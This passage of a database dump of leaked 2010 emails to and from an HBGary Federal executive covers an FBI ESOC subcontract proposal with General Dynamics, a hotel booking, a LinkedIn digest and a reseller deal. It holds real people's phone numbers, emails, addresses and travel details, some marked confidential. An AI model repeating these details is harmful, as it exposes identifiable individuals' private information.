<blillard@emesec.net>,glkoogle@emesec.net,nrwhite@emesec.net,mchorton@emesec.net,\"Metzler, Jay\" <Jmetzler@sms.com>,\"Michnick, Lindsay\" <lmichnick@sms.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"John Reed Stark\" <JStark@StrozFriedberg.com>,\"Ken Mendelson\" <KMendelson@StrozFriedberg.com>,\"Bill Lillard\" <blillard@emesec.net>,glkoogle@emesec.net,nrwhite@emesec.net,mchorton@emesec.net,\"Metzler, Jay\" <Jmetzler@sms.com>','FW: FBI ESOC - org charts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood afternoon!\r\n&nbsp;\r\nPlease provide to us your Organizational Charts ASAP as requested with the following template as your guide on how it should be formatted.&nbsp; Any questions, let me know.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts&nbsp;\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n&nbsp;\r\nMailing Address:\r\n&nbsp;10925 Pump House Road\r\n&nbsp;Annapolis Junction, MD 20701\r\nPhysical Address:\r\n&nbsp;2721 Technology Drive\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n&nbsp;\r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n&nbsp;\r\nP please consider the environment before printing this email\r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is\r\nprohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n&nbsp;\r\n&nbsp;\r\n_____________________________________________\r\n\r\nFrom: Green, Rosemary \r\n\r\nSent: Saturday, May 22, 2010 9:46 AM\r\n\r\nSubject: FBI ESOC - org charts\r\n&nbsp;\r\n&nbsp;\r\nThis is what our org charts look like in the OCI volume. Graphics must be no smaller than 10 pt. font, per the recent answers to questions.\r\n&nbsp;\r\n\r\n\r\nOrganizational Structure\r\n\r\nFigure 1 shows the high level organizational structure of General Dynamics Information Systems and Technology (IS&amp;T) including its affiliated companies: GD C4\r\nSystems, GD Information Technology and GD Advanced Information Systems (GDAIS). This effort will be executed in the GDAIS company. The organization within GDAIS that is performing on this contract is the Cyber Systems Division (Cyber). \r\n \r\nFigure 1. General Dynamics Advanced Information Systems Organization Structure\r\n&nbsp;\r\nFigure 2 displays the organizational structure of the Cyber Systems Division. The Enterprise Missions Operations (LOB) will have oversight and management of\r\nthe Information Assurance Section (IAS) Enterprise Security Operations center (ESOC) Support Services project.\r\n \r\nFigure 2. Division Structure of the Cyber Systems Division\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',15566,'aaron_hbgary_com/15566.html'),(6631,'2010-05-24','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297004786.M567470P14101Q1486.eml','aaron@hbgary.com','Re: CEIC Conf next week','\r\nAaron -You going to be at the conf ?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Mulville, Michael E.Sent: Mon May 24 12:13:28 2010Subject: Re: CEIC Conf next week\r\nHi Mike,Question for you. &nbsp;I understand the NANA positions for HQ are pretty much filled by existing team mates but there might be some opportunities to fill some positions in San Antonio? &nbsp;Do you know if that is correct? &nbsp;Any chance you could put me in contact with the PM?Thanks,AaronOn May 18, 2010, at 6:51 PM, Mulville, Michael E. wrote:Aaron and Bob –Will either of you be at the CEIC Conf next week.&nbsp;Let me know – and if not – anyone I could meet up with ?&nbsp;Thx - Mike&nbsp;&nbsp;Mike Mulville&nbsp;VP, Cyber CTOSAIC Cyber ProgramsMulvilleM@saic.comO/ 703.676.8381&nbsp; M/ 703.622.91211710 Saic Dr.McLean, VA 22102&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8675,'aaron_hbgary_com/8675.html'),(6632,'2010-05-24','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297004786.M913978P14101Q1487.eml','aaron@hbgary.com','Re: CEIC Conf next week','\r\nSorry- hit the send button to fast.POC robert Pazynski.  I\'ll pass his details along shortly.Mike\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Mulville, Michael E.Sent: Mon May 24 12:13:28 2010Subject: Re: CEIC Conf next week\r\nHi Mike,Question for you. &nbsp;I understand the NANA positions for HQ are pretty much filled by existing team mates but there might be some opportunities to fill some positions in San Antonio? &nbsp;Do you know if that is correct? &nbsp;Any chance you could put me in contact with the PM?Thanks,AaronOn May 18, 2010, at 6:51 PM, Mulville, Michael E. wrote:Aaron and Bob –Will either of you be at the CEIC Conf next week.&nbsp;Let me know – and if not – anyone I could meet up with ?&nbsp;Thx - Mike&nbsp;&nbsp;Mike Mulville&nbsp;VP, Cyber CTOSAIC Cyber ProgramsMulvilleM@saic.comO/ 703.676.8381&nbsp; M/ 703.622.91211710 Saic Dr.McLean, VA 22102&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1428,'aaron_hbgary_com/1428.html'),(6633,'2010-05-24','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297004787.M137716P14101Q1488.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Your InterContinental (R) Reservation Confirmation  - MIAMI, FL, UNITED STATES: 63597541','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\nTel:  916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail  deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: InterContinental\r\nReservations [mailto:Reservations@InterContinental.com] \r\nSent: Monday, May 24, 2010 10:54 AM\r\nTo: DEEANN@HBGARY.COM\r\nSubject: Your InterContinental (R) Reservation Confirmation - MIAMI, FL,\r\nUNITED STATES: 63597541\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Modify/Cancel\r\n  Reservation \r\n  View\r\n  All Reservations \r\n  Make\r\n  Another Reservation \r\n  View\r\n  Account \r\n  \r\n  \r\n  Thank you for staying at the\r\n  InterContinental MIAMI. \r\n  \r\n  \r\n  Amenities\r\n  Near Beach \r\n  Outdoor Pool \r\n  Sauna \r\n  Dedicated Lounge \r\n  Iron / Ironing Board \r\n  \r\n  \r\n  Attractions\r\n  South Beach \r\n  Port of Miami \r\n  American Airlines Arena \r\n  Parrot Jungle \r\n  Seaquarium \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    Thank\r\n    you for choosing InterContinental. Here is your reservation information. \r\n    \r\n   \r\n   \r\n    \r\n    Reservation\r\n    Questions \r\n    \r\n   \r\n   \r\n    \r\n    Reservation Information \r\n    \r\n   \r\n   \r\n    \r\n    Your\r\n    confirmation number is 63597541\r\n    Please use your confirmation number to reference your reservation.\r\n    \r\n    Guest Name:\r\n    AARON BARR\r\n    \r\n    Additional Guests:\r\n    \r\n    \r\n    No additional guests.\r\n    \r\n   \r\n   \r\n    \r\n    Check-In:\r\n    Sat 12 Jun 2010 at 04:00 PM \r\n    Check-Out: Fri 18 Jun 2010 at 12:00 PM \r\n    \r\n    \r\n    \r\n    \r\n    View/Modify/Cancel\r\n    Reservation \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Hotel Info \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      MIAMI\r\n      InterContinental\r\n      100 CHOPIN PLAZA \r\n      MIAMI , FL 33131 \r\n      1-305-5771000 \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    Helpful Links\r\n    Local\r\n    Maps \r\n    Find\r\n    Attractions\r\n    Make\r\n    Another Reservation \r\n    \r\n   \r\n   \r\n    \r\n    Driving Directions: \r\n    FROM MIAMI INTL APRT: TAKE 836 EAST TO I-95 SOUTH TO BISCAYNE BLVD, EXIT\r\n    2A, DOWN THE RAMP TP BISCAYNE BLVD, THE RIGHT ON CHOPIN PLAZA. FORM NORTH\r\n    (PALM BEACH, FT. LAUDERDALE): FOLOLW DIRECTIONS ABOVE FROM I-95 SOUTH. \r\n    \r\n   \r\n   \r\n    \r\n    Room/Rate Information \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      Rate\r\n      Type:\r\n      \r\n      \r\n      FiRST\r\n      Conference-PH \r\n      \r\n     \r\n     \r\n      \r\n      Group\r\n      Details:\r\n      \r\n      \r\n      ANYONE\r\n      CAN BOOK RESERVATIONS ANYONE CAN BOOK RESERVATIONS \r\n      \r\n     \r\n     \r\n      \r\n      Room\r\n      Type:\r\n      \r\n      \r\n      STANDARD\r\n      ROOM - 2 PERSON(S) MAX PER ROOM \r\n      BED TYPE SMOKING PREFERENCE AND VIEW CAN NOT BE GUARANTEED AND WILL BE\r\n      ALLOCATED UPON ARRIVAL OF GUEST WIRELESS HIGH SPEED INTERNET AVAILABLE AT\r\n      A CHARGE MARBLE BATHROOM FLAT SCREEN TV MINIBAR HAIR DRYER IRON AND BOARD\r\n      SAFE DEPOSIT BOX \r\n      \r\n     \r\n     \r\n      \r\n      Smoking\r\n      Preference: \r\n      \r\n      \r\n      No\r\n      Preference \r\n      \r\n     \r\n     \r\n      \r\n      Number\r\n      of Nights:\r\n      \r\n      \r\n      6\r\n      \r\n      \r\n     \r\n     \r\n      \r\n      Number\r\n      of Rooms:\r\n      \r\n      \r\n      1\r\n      \r\n      \r\n     \r\n     \r\n      \r\n      Person(s):\r\n      \r\n      \r\n      1\r\n      Adult(s), 0 Child(ren)\r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Sat\r\n        12 Jun 2010 - Fri 18 Jun 2010 \r\n        \r\n        \r\n        $189.00 (USD) \r\n        per night (1 room(s)) \r\n        \r\n       \r\n       \r\n        \r\n        Total\r\n        Tax&nbsp;† &nbsp; \r\n        \r\n        \r\n        $147.42 (USD) \r\n        \r\n       \r\n       \r\n        \r\n        Estimated\r\n        Total Price&nbsp;† &nbsp;\r\n        \r\n        \r\n        $1,281.42\r\n        (USD)\r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Rules &amp; Restrictions \r\n    \r\n   \r\n   \r\n    \r\n    -\r\n    Check-in Time: 04:00 PM\r\n    - Check-out Time: 12:00 PM\r\n    \r\n    - Canceling your reservation after 6:00 PM (local hotel time) on 9 June,\r\n    2010, or failing to show, will result in a charge of 1 night per room to\r\n    your credit card. Taxes may apply. Failing to call or show before check-out\r\n    time after the first night of a reservation will result in cancellation of\r\n    the remainder of your reservation. \r\n    \r\n    - Only the reservation as entered into and confirmed by our system will be\r\n    honored. Any written or printed confirmation that has been altered may be\r\n    rejected by the hotel.\r\n    \r\n    † As exchange rates may fluctuate from the time a reservation is made until\r\n    the actual stay, the confirmed rate is guaranteed in the hotel\'s base\r\n    currency.\r\n    \r\n    \r\n    \r\n    † As taxes and service charges may fluctuate from the time a reservation\r\n    is made until the actual stay and during the actual stay, the Total Price\r\n    is an estimate. Other hotel-specific service charges may also apply. Check\r\n    with hotel for details. Additional taxes may apply for hotels booked in\r\n    Tokyo, Japan that exceeds 10,000JPY/person per stay. \r\n    \r\n    † Credit card payments relating to Australian hotels incur a merchant\r\n    service fee of 1.5% in addition to the total amount payable.\r\n    \r\n    \r\n    \r\n    Important, please note: Starting June 1, 2009, the Western\r\n    Hemisphere Travel Initiative (WHTI) goes into effect, establishing new document\r\n    requirements for travel into the U.S. from Canada, Mexico, Bermuda and the\r\n    Caribbean, by land and sea. All U.S., Canadian and Bermudian citizens are\r\n    subject to these new requirements, effective June 1, 2009. For more\r\n    information about the WHTI and the required travel documents, go to www.GetYouHome.gov or Canadian citizens can go\r\n    to www.KnowYourBorder.gov. \r\n    \r\n   \r\n   \r\n    \r\n    Comments: \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    - For Reservations Questions in the United States &amp; Canada:\r\n    \r\n    1 800 IC HOTELS (800 424 6835)\r\n    \r\n    - For outside the United States &amp; Canada, click here\r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6952,'aaron_hbgary_com/6952.html'),(6634,'2010-05-24','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004787.M353435P14101Q1489.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Prouty, Charlie S\" <Charlie.Prouty@GDIT.com>','FW: FBI ESOC Security POC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you tell me who your Security POCs are?\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts&nbsp;\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n&nbsp;\r\nMailing Address:\r\n&nbsp;10925 Pump House Road\r\n&nbsp;Annapolis Junction, MD 20701\r\nPhysical Address:\r\n&nbsp;2721 Technology Drive\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n&nbsp;\r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n&nbsp;\r\nP please consider the environment before printing this email\r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is\r\nprohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n_____________________________________________\r\n\r\nFrom: \r\n\r\nSent: Monday, May 24, 2010 2:04 PM\r\n\r\nTo: Varga, Joan A.\r\n\r\nSubject: FBI ESOC\r\n&nbsp;\r\n&nbsp;\r\nJoan,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Do you have security POC information for HBGary and GDIT?&nbsp; Thanks\r\n&nbsp;\r\n&nbsp;\r\nGDAIS PRIVATE: The information attached or contained within includes Personal Information under General Dynamics policy CP 07-105.&nbsp; This information can be accessed only by authorized\r\npersonnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies. Contractual restrictions apply to third parties. \r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',7088,'aaron_hbgary_com/7088.html'),(6635,'2010-05-24','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297004787.M618416P14101Q1490.eml','\"Aaron Barr\" <aaron@hbgary.com>','From David Frenkel and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsMay 24, 2010\r\n    AFCEA NOVA\r\n    \r\n      Latest:\r\n          1 discussion\r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        AFCEA NOVA Naval IT Day\r\n        2 comments  &raquo;\r\n\r\n      Started by David Frenkel, Vice President of Sales at Keys to the Capitol  DFrenkel@KeysToTheCapitol.com\r\n        \r\n          \r\n                    The Naval IT Day is VERY worthwhile. Do your homework and understand the various Commands that make the most sense to focus. Do not forget that this also means the USMC Systems Command will be there in force. Also, DO attend the Small Business session that is a great place to meet key small business contract officers.\r\nGood luck.\r\n                By Stephen Day, CEO at Corporate Fission\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',2628,'aaron_hbgary_com/2628.html'),(6636,'2010-05-24','\"Prouty, Charlie S\" <Charlie.Prouty@GDIT.com>','/aaron@hbgary.com/new/1297004788.M15497P14101Q1491.eml','\"Hoagland, Kimberly\" <kimberly.hoagland@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Hoagland, Kimberly\" <kimberly.hoagland@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: FBI ESOC Security POC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nKimberly our\r\nSecurity POC&#8217;s are Kim Hughan and Lisa Leshin. Tx cp\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly\r\nA. [mailto:Kimberly.Hoagland@gd-ais.com] \r\nSent: Monday, May 24, 2010 2:44 PM\r\nTo: Ted Vera; Barr Aaron; Prouty, Charlie S\r\nSubject: FW: FBI ESOC Security POC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCan you tell me who your Security POCs are?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKimberly Hoagland\r\n\r\n\r\n\r\n\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMailing\r\nAddress:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\n\r\n\r\n\r\n\r\nPhysical\r\nAddress:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n\r\n\r\n\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\n\r\n\r\n\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nP please consider the environment before printing this email\r\n\r\n\r\n\r\n\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: \r\nSent: Monday, May 24, 2010 2:04 PM\r\nTo: Varga, Joan A.\r\nSubject: FBI ESOC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJoan,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDo you have security POC information for HBGary and GDIT?&nbsp; Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGDAIS\r\nPRIVATE: The\r\ninformation attached or contained within includes Personal Information under\r\nGeneral Dynamics policy CP 07-105.&nbsp; This information can be accessed only\r\nby authorized personnel of General Dynamics and its approved service providers\r\nand may be used only as permitted by General Dynamics and its policies.\r\nContractual restrictions apply to third parties. \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10352,'aaron_hbgary_com/10352.html'),(6637,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004788.M246226P14101Q1492.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: FBI ESOC Security POC','Ours is Ted Vera and myself.From my iPhoneOn May 24, 2010, at 2:43 PM, &quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt; wrote:\r\n\r\n\r\nCan you tell me who your Security POCs are?\r\n \r\n \r\n \r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts \r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n \r\nMailing Address:\r\n 10925 Pump House Road\r\n Annapolis Junction, MD 20701\r\nPhysical Address:\r\n 2721 Technology Drive\r\n Annapolis Junction, MD  20701\r\n \r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n \r\nP please consider the environment before printing this email\r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is\r\nprohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n \r\n\r\n\r\n\r\n \r\n_____________________________________________\r\n\r\nFrom: \r\n\r\nSent: Monday, May 24, 2010 2:04 PM\r\n\r\nTo: Varga, Joan A.\r\n\r\nSubject: FBI ESOC\r\n \r\n \r\nJoan,\r\n        Do you have security POC information for HBGary and GDIT?  Thanks\r\n \r\n \r\nGDAIS PRIVATE: The information attached or contained within includes Personal Information under General Dynamics policy CP 07-105.  This information can be accessed only by authorized\r\npersonnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies. Contractual restrictions apply to third parties. \r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n',7029,'aaron_hbgary_com/7029.html'),(6638,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004788.M482988P14101Q1493.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','IBM','http://manyeyes.alphaworks.ibm.com/manyeyes/\r\n\r\nI think worth a meeting to talk with IBM.  They could bring a lot of facets of their company to the table, the above technology being one of them.  We could potentially get their help on infrastructure, MOE, mobile, etc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10790,'aaron_hbgary_com/10790.html'),(6639,'2010-05-24','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004788.M708853P14101Q1494.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FBI ESOC Proposal - Exec Summary','\r\n\r\n\r\n\r\n\r\nFBI ESOC Proposal - Exec Summary\r\n\r\n\r\n\r\n\r\nAaron or Ted, \r\n\r\nCan I get a short paragraph describing HBGary&#8217;s capabilities for the proposal text.&nbsp; I only need 3-5 sentences.\r\n\r\nThanks, \r\n\r\nDoug \r\n\r\nDoug Harlow\r\n\r\nGeneral Dynamics AIS\r\n\r\n10560 Arrowhead Dr\r\n\r\nFairfax, VA 22030\r\n\r\nOffice: 703-277-1406\r\n\r\nMobile: 703-835-7243\r\n\r\n\r\n\r\n\r\n',6333,'aaron_hbgary_com/6333.html'),(6640,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004789.M249716P14101Q1496.eml','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','Re: FBI ESOC Proposal - Exec Summary','Sure.HBGary and HBGary Federal deliver advanced threat detection and malware analysis products and services. &nbsp;HBGary develops automated zero day threat detection products based on behavioral analysis of exhibited traits. &nbsp;In addition developing some of the most advanced yet easy to use memory analysis and runtime tracing tools on the market, measurably lowering the labor cost required to conduct effective malware analysis. &nbsp;HBGary Federal provides specialized threat intelligence, incident response, and information operations services utilizing HBGary and partner tools to better enable mission assurance.How is that?AaronOn May 24, 2010, at 4:32 PM, Harlow, Douglas M. wrote:\r\n\r\nAaron or Ted, Can I get a short paragraph describing HBGary’s capabilities for the proposal text.&nbsp; I only need 3-5 sentences.Thanks, Doug Doug HarlowGeneral Dynamics AIS10560 Arrowhead DrFairfax, VA 22030Office: 703-277-1406Mobile: 703-835-7243\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16187,'aaron_hbgary_com/16187.html'),(6641,'2010-05-24','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004789.M6587P14101Q1495.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Introduction','Hello Penny,I am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary\'s products in Canada.In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.Do let me know your thoughts on this.Best wishes,Arnav\r\n\r\nOn 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:Cool, thanks&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Thursday, May 20, 2010 12:13 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Thanks Penny, will have a look and get back to you by early next week.&nbsp;Best,Arnav&nbsp;On 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:Hi Guys,&nbsp;Attached is our standard reseller form.&nbsp; Here are datasheets and two white papers.&nbsp; We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out.&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Wednesday, May 19, 2010 4:18 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hi Aaron,&nbsp;I\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007&nbsp;Best,Arnav&nbsp;On 2010-05-18, at 4:22 PM, Aaron Barr wrote:Hi Arnav,&nbsp;Sure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?&nbsp;AaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,&nbsp;Thanks for this. It was good to speak to you on Friday.&nbsp;Looking forward to receiving a reseller agreement/other materials that we can go through.&nbsp;Best wishes,Arnav&nbsp;&nbsp;Arnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged&nbsp;World Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.&nbsp;&nbsp;On 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:From:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Date:&nbsp;May 14, 2010 11:14:20 AM EDTTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;Subject:&nbsp;IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.Nart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.Aaron&nbsp;&nbsp;&lt;HBGary-VAR Agrmt (6-08)1 